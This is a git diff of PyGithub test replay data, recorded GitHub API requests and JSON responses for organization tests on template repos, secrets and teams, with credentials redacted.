a/tests/ReplayData/Organization.testCreateRepoFromTemplateWithAllArguments.txt +++ b/tests/ReplayData/Organization.testCreateRepoFromTemplateWithAllArguments.txt @@ -15,8 +15,7 @@ api.github.com None /repos/actions/hello-world-docker-action/generate {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} -{"name": "hello-world-docker-action-new", "owner": "BeaverSoftware", "description": "My repo from template", "private": true} +{"name": "hello-world-docker-action-new", "owner": "BeaverSoftware", "description": "My repo from template", "include_all_branches": true, "private": true} 201 [('Server', 'GitHub.com'), ('Date', 'Wed, 12 Feb 2020 18:18:12 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '12619'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1581534987'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept'), ('ETag', '"7ab10890a25b4661a4310dc8dbf4491f"'), ('X-OAuth-Scopes', 'public_repo, read:org, read:user, user:email'), ('X-Accepted-OAuth-Scopes', ''), ('Location', 'https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new'), ('X-GitHub-Media-Type', 'github.baptiste-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'C35C:1792:11E12C:2D04D2:5E444162')] {"id":240083127,"node_id":"MDEwOlJlcG9zaXRvcnkyNDAwODMxMjc=","name":"hello-world-docker-action-new","full_name":"BeaverSoftware/hello-world-docker-action-new","owner":{"login":"BeaverSoftware","id":60894054,"node_id":"MDEyOk9yZ2FuaXphdGlvbjYwODk0MDU0","avatar_url":"https://avatars2.githubusercontent.com/u/60894054?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"private":true,"html_url":"https://github.com/BeaverSoftware/hello-world-docker-action-new","description":"My repo from template","fork":false,"url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new","forks_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/forks","keys_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/teams","hooks_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/hooks","issue_events_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/issues/events{/number}","events_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/events","assignees_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/assignees{/user}","branches_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/branches{/branch}","tags_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/tags","blobs_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/git/refs{/sha}","trees_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/statuses/{sha}","languages_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/languages","stargazers_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/stargazers","contributors_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/contributors","subscribers_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/subscribers","subscription_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/subscription","commits_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/commits{/sha}","git_commits_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/git/commits{/sha}","comments_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/comments{/number}","issue_comment_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/issues/comments{/number}","contents_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/contents/{+path}","compare_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/merges","archive_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/downloads","issues_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/issues{/number}","pulls_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/pulls{/number}","milestones_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/milestones{/number}","notifications_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/labels{/name}","releases_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/releases{/id}","deployments_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/deployments","created_at":"2020-02-12T18:18:11Z","updated_at":"2020-02-12T18:18:11Z","pushed_at":"2020-02-12T18:18:12Z","git_url":"git://github.com/BeaverSoftware/hello-world-docker-action-new.git","ssh_url":"git@github.com:BeaverSoftware/hello-world-docker-action-new.git","clone_url":"https://github.com/BeaverSoftware/hello-world-docker-action-new.git","svn_url":"https://github.com/BeaverSoftware/hello-world-docker-action-new","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"pull":true,"push":true,"admin":true},"is_template":false,"template_repository":{"id":200448202,"node_id":"MDEwOlJlcG9zaXRvcnkyMDA0NDgyMDI=","name":"hello-world-docker-action","full_name":"actions/hello-world-docker-action","owner":{"login":"actions","id":44036562,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQ0MDM2NTYy","avatar_url":"https://avatars1.githubusercontent.com/u/44036562?v=4","gravatar_id":"","url":"https://api.github.com/users/actions","html_url":"https://github.com/actions","followers_url":"https://api.github.com/users/actions/followers","following_url":"https://api.github.com/users/actions/following{/other_user}","gists_url":"https://api.github.com/users/actions/gists{/gist_id}","starred_url":"https://api.github.com/users/actions/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/actions/subscriptions","organizations_url":"https://api.github.com/users/actions/orgs","repos_url":"https://api.github.com/users/actions/repos","events_url":"https://api.github.com/users/actions/events{/privacy}","received_events_url":"https://api.github.com/users/actions/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/actions/hello-world-docker-action","description":"A template to demonstrate how to build a Docker action.","fork":false,"url":"https://api.github.com/repos/actions/hello-world-docker-action","forks_url":"https://api.github.com/repos/actions/hello-world-docker-action/forks","keys_url":"https://api.github.com/repos/actions/hello-world-docker-action/keys{/key_id}","collaborators_url":"https://api.github.com/repos/actions/hello-world-docker-action/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/actions/hello-world-docker-action/teams","hooks_url":"https://api.github.com/repos/actions/hello-world-docker-action/hooks","issue_events_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues/events{/number}","events_url":"https://api.github.com/repos/actions/hello-world-docker-action/events","assignees_url":"https://api.github.com/repos/actions/hello-world-docker-action/assignees{/user}","branches_url":"https://api.github.com/repos/actions/hello-world-docker-action/branches{/branch}","tags_url":"https://api.github.com/repos/actions/hello-world-docker-action/tags","blobs_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/refs{/sha}","trees_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/trees{/sha}","statuses_url":"https://api.github.com/repos/actions/hello-world-docker-action/statuses/{sha}","languages_url":"https://api.github.com/repos/actions/hello-world-docker-action/languages","stargazers_url":"https://api.github.com/repos/actions/hello-world-docker-action/stargazers","contributors_url":"https://api.github.com/repos/actions/hello-world-docker-action/contributors","subscribers_url":"https://api.github.com/repos/actions/hello-world-docker-action/subscribers","subscription_url":"https://api.github.com/repos/actions/hello-world-docker-action/subscription","commits_url":"https://api.github.com/repos/actions/hello-world-docker-action/commits{/sha}","git_commits_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/commits{/sha}","comments_url":"https://api.github.com/repos/actions/hello-world-docker-action/comments{/number}","issue_comment_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues/comments{/number}","contents_url":"https://api.github.com/repos/actions/hello-world-docker-action/contents/{+path}","compare_url":"https://api.github.com/repos/actions/hello-world-docker-action/compare/{base}...{head}","merges_url":"https://api.github.com/repos/actions/hello-world-docker-action/merges","archive_url":"https://api.github.com/repos/actions/hello-world-docker-action/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/actions/hello-world-docker-action/downloads","issues_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues{/number}","pulls_url":"https://api.github.com/repos/actions/hello-world-docker-action/pulls{/number}","milestones_url":"https://api.github.com/repos/actions/hello-world-docker-action/milestones{/number}","notifications_url":"https://api.github.com/repos/actions/hello-world-docker-action/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/actions/hello-world-docker-action/labels{/name}","releases_url":"https://api.github.com/repos/actions/hello-world-docker-action/releases{/id}","deployments_url":"https://api.github.com/repos/actions/hello-world-docker-action/deployments","created_at":"2019-08-04T04:10:12Z","updated_at":"2020-02-07T09:28:27Z","pushed_at":"2020-01-17T19:48:23Z","git_url":"git://github.com/actions/hello-world-docker-action.git","ssh_url":"git@github.com:actions/hello-world-docker-action.git","clone_url":"https://github.com/actions/hello-world-docker-action.git","svn_url":"https://github.com/actions/hello-world-docker-action","homepage":"https://help.github.com/en/articles/creating-a-docker-container-action","size":11,"stargazers_count":26,"watchers_count":26,"language":"Dockerfile","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":30,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":30,"open_issues":1,"watchers":26,"default_branch":"master","permissions":{"pull":true,"push":false,"admin":false},"is_template":true},"organization":{"login":"BeaverSoftware","id":60894054,"node_id":"MDEyOk9yZ2FuaXphdGlvbjYwODk0MDU0","avatar_url":"https://avatars2.githubusercontent.com/u/60894054?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"subscribers_count":0,"network_count":1} - diff --git a/tests/ReplayData/Organization.testCreateRepoWithAllArguments.txt b/tests/ReplayData/Organization.testCreateRepoWithAllArguments.txt index 9d93ada832..1405fb3c4d 100644 --- a/tests/ReplayData/Organization.testCreateRepoWithAllArguments.txt +++ b/tests/ReplayData/Organization.testCreateRepoWithAllArguments.txt @@ -15,7 +15,7 @@ api.github.com None /orgs/BeaverSoftware/repos {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} -{"has_wiki": false, "name": "TestPyGithub2", "has_downloads": false, "private": false, "visibility": "public", "team_id": 141496, "has_issues": false, "homepage": "http://foobar.com", "description": "Repo created by PyGithub", "has_projects": false, "allow_squash_merge": false, "allow_merge_commit": false, "allow_rebase_merge": true, "delete_branch_on_merge": false} +{"has_wiki": false, "name": "TestPyGithub2", "has_downloads": false, "private": false, "visibility": "public", "team_id": 141496, "has_issues": false, "homepage": "http://foobar.com", "description": "Repo created by PyGithub", "has_projects": false, "allow_update_branch": true, "allow_squash_merge": false, "allow_merge_commit": false, "allow_rebase_merge": true, "delete_branch_on_merge": false} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4969'), ('content-length', '1501'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"feb513e01eaf8e89967068fe8ed44cc7"'), ('date', 'Sun, 27 May 2012 05:20:43 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/BeaverSoftware/TestPyGithub2')] -{"organization":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","id":1424031},"clone_url":"https://github.com/BeaverSoftware/TestPyGithub2.git","has_downloads":false,"watchers":1,"updated_at":"2012-05-27T05:20:42Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://foobar.com","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub2","mirror_url":null,"has_wiki":false,"has_pages":false,"has_issues":false,"fork":false,"forks":1,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/TestPyGithub2","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","id":1424031},"name":"TestPyGithub2","language":null,"description":"Repo created by PyGithub","ssh_url":"git@github.com:BeaverSoftware/TestPyGithub2.git","pushed_at":"2012-05-27T05:20:42Z","created_at":"2012-05-27T05:20:42Z","id":4460019,"git_url":"git://github.com/BeaverSoftware/TestPyGithub2.git","html_url":"https://github.com/BeaverSoftware/TestPyGithub2","full_name":"BeaverSoftware/TestPyGithub2", "has_projects": false, "allow_squash_merge": false, "allow_merge_commit": false, "allow_rebase_merge": true, "delete_branch_on_merge": false} +{"organization":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","id":1424031},"clone_url":"https://github.com/BeaverSoftware/TestPyGithub2.git","has_downloads":false,"watchers":1,"updated_at":"2012-05-27T05:20:42Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://foobar.com","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub2","mirror_url":null,"has_wiki":false,"has_pages":false,"has_issues":false,"fork":false,"forks":1,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/TestPyGithub2","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","id":1424031},"name":"TestPyGithub2","language":null,"description":"Repo created by PyGithub","ssh_url":"git@github.com:BeaverSoftware/TestPyGithub2.git","pushed_at":"2012-05-27T05:20:42Z","created_at":"2012-05-27T05:20:42Z","id":4460019,"git_url":"git://github.com/BeaverSoftware/TestPyGithub2.git","html_url":"https://github.com/BeaverSoftware/TestPyGithub2","full_name":"BeaverSoftware/TestPyGithub2", "has_projects": false, "allow_update_branch": true, "allow_squash_merge": false, "allow_merge_commit": false, "allow_rebase_merge": true, "delete_branch_on_merge": false} diff --git a/tests/ReplayData/Organization.testCreateSecret.txt b/tests/ReplayData/Organization.testCreateSecret.txt index 3188f76c16..be828cceaf 100644 --- a/tests/ReplayData/Organization.testCreateSecret.txt +++ b/tests/ReplayData/Organization.testCreateSecret.txt @@ -18,4 +18,4 @@ None {"encrypted_value": "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b", "key_id": "568250167242549743", "visibility": "all"} 201 [('Date', 'Fri, 17 Apr 2020 00:12:33 GMT'), ('Server', 'GitHub.com'), ('Content-Length', '2'), ('Content-Type', 'application/json; charset=utf-8'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1587085388'), ('X-OAuth-Scopes', 'read:org, repo, user'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'C290:52DA:50234:B404B:5E98F470')] -{} \ No newline at end of file +{} diff --git a/tests/ReplayData/Organization.testCreateSecretSelected.txt b/tests/ReplayData/Organization.testCreateSecretSelected.txt index 5f1fbdaa47..b83840e826 100644 --- a/tests/ReplayData/Organization.testCreateSecretSelected.txt +++ b/tests/ReplayData/Organization.testCreateSecretSelected.txt @@ -41,3 +41,14 @@ None 201 [('Date', 'Fri, 17 Apr 2020 00:12:33 GMT'), ('Server', 'GitHub.com'), ('Content-Length', '2'), ('Content-Type', 'application/json; charset=utf-8'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1587085388'), ('X-OAuth-Scopes', 'read:org, repo, user'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'C290:52DA:50234:B404B:5E98F470')] {} + +https +GET +api.github.com +None +/orgs/BeaverSoftware/actions/secrets/secret-name/repositories +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '487'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1dd282b50e691f8f162ef9355dad8771"'), ('date', 'Thu, 10 May 2012 19:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"total_count": 2, "repositories": [{"clone_url":"https://github.com/BeaverSoftware/TestPyGithub.git","has_downloads":true,"watchers":1,"git_url":"git://github.com/BeaverSoftware/TestPyGithub.git","updated_at":"2012-04-25T06:51:38Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","has_wiki":true,"has_pages":false,"has_issues":false,"fork":false,"forks":0,"mirror_url":null,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/TestPyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"TestPyGithub","language":null,"description":"Guinea-pig for PyGithub testing","ssh_url":"git@github.com:BeaverSoftware/TestPyGithub.git","pushed_at":"2012-03-03T08:57:40Z","created_at":"2012-03-03T07:53:19Z","id":3609352,"html_url":"https://github.com/BeaverSoftware/TestPyGithub","full_name":"BeaverSoftware/TestPyGithub"}, {"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","has_downloads":true,"watchers":2,"git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","has_wiki":true,"has_pages":true,"has_issues":true,"fork":false,"forks":1,"mirror_url":null,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","full_name":"BeaverSoftware/FatherBeaver"}]} diff --git a/tests/ReplayData/Organization.testCreateTeam.txt b/tests/ReplayData/Organization.testCreateTeam.txt index 7304a80c64..74d5e89276 100644 --- a/tests/ReplayData/Organization.testCreateTeam.txt +++ b/tests/ReplayData/Organization.testCreateTeam.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4988'), ('content-length', '145'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"189a318993cde3e040f2efb4f634f8a8"'), ('date', 'Sat, 26 May 2012 20:58:53 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/teams/189850')] {"url":"https://api.github.com/teams/189850","members_count":0,"repos_count":0,"name":"Team created by PyGithub","permission":"pull","id":189850} - diff --git a/tests/ReplayData/Organization.testCreateTeamWithAllArguments.txt b/tests/ReplayData/Organization.testCreateTeamWithAllArguments.txt index 58824d0fe9..57caf909ad 100644 --- a/tests/ReplayData/Organization.testCreateTeamWithAllArguments.txt +++ b/tests/ReplayData/Organization.testCreateTeamWithAllArguments.txt @@ -9,13 +9,35 @@ None [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '1431'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4ecd2c151a469cfa6cd45e6beff1269b"'), ('date', 'Fri, 01 Jun 2012 19:40:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"has_downloads":true,"watchers":2,"mirror_url":null,"language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","created_at":"2012-02-09T19:32:21Z","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","fork":false,"full_name":"BeaverSoftware/FatherBeaver","organization":{"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","url":"https://api.github.com/users/BeaverSoftware","id":1424031},"permissions":{"admin":true,"pull":true,"push":true},"has_wiki":true,"has_issues":true,"forks":1,"size":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","private":false,"visibility":"public","updated_at":"2012-02-16T21:51:15Z","homepage":"","owner":{"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","url":"https://api.github.com/users/BeaverSoftware","id":1424031},"name":"FatherBeaver","open_issues":0,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","id":3400397,"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","pushed_at":null} +https +GET +api.github.com +None +/teams/141496 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('x-ratelimit-limit', '5000'), ('content-length', '128'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"b93241eaf4384574f38b352b25595e28"'), ('date', 'Fri, 01 Jun 2012 19:35:59 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"repos_count":1,"permission":"push","url":"https://api.github.com/teams/141496","name":"Members","id":141496,"members_count":1} + +https +GET +api.github.com +None +/users/jacquev6 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4962'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"fc78d67f262cad756e42354c78ecea4e"'), ('date', 'Tue, 28 Aug 2018 00:16:42 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"public_repos":11,"type":"User","disk_usage":17080,"hireable":false,"blog":"http://vincent-jacques.net","url":"https://api.github.com/users/jacquev6","bio":"","plan":{"collaborators":1,"private_repos":5,"name":"micro","space":614400},"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","total_private_repos":5,"public_gists":2,"company":"Criteo","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","owned_private_repos":5,"private_gists":5,"collaborators":0,"email":"vincent@vincent-jacques.net","followers":13,"name":"Vincent Jacques","created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"following":24,"html_url":"https://github.com/jacquev6"} + https POST api.github.com None /orgs/BeaverSoftware/teams {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -{"repo_names": ["BeaverSoftware/FatherBeaver"], "name": "Team also created by PyGithub", "permission": "push", "privacy": "secret", "description":"Description also created by PyGithub"} +{"repo_names": ["BeaverSoftware/FatherBeaver"], "name": "Team also created by PyGithub", "permission": "push", "privacy": "secret", "description":"Description also created by PyGithub", "parent_team_id":141496, "maintainers": [327146], "notification_setting": "notifications_disabled"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4982'), ('content-length', '150'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"6e3fb00de6ca4c112feee3a1438d6f0e"'), ('date', 'Sat, 26 May 2012 21:00:26 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/teams/189852')] 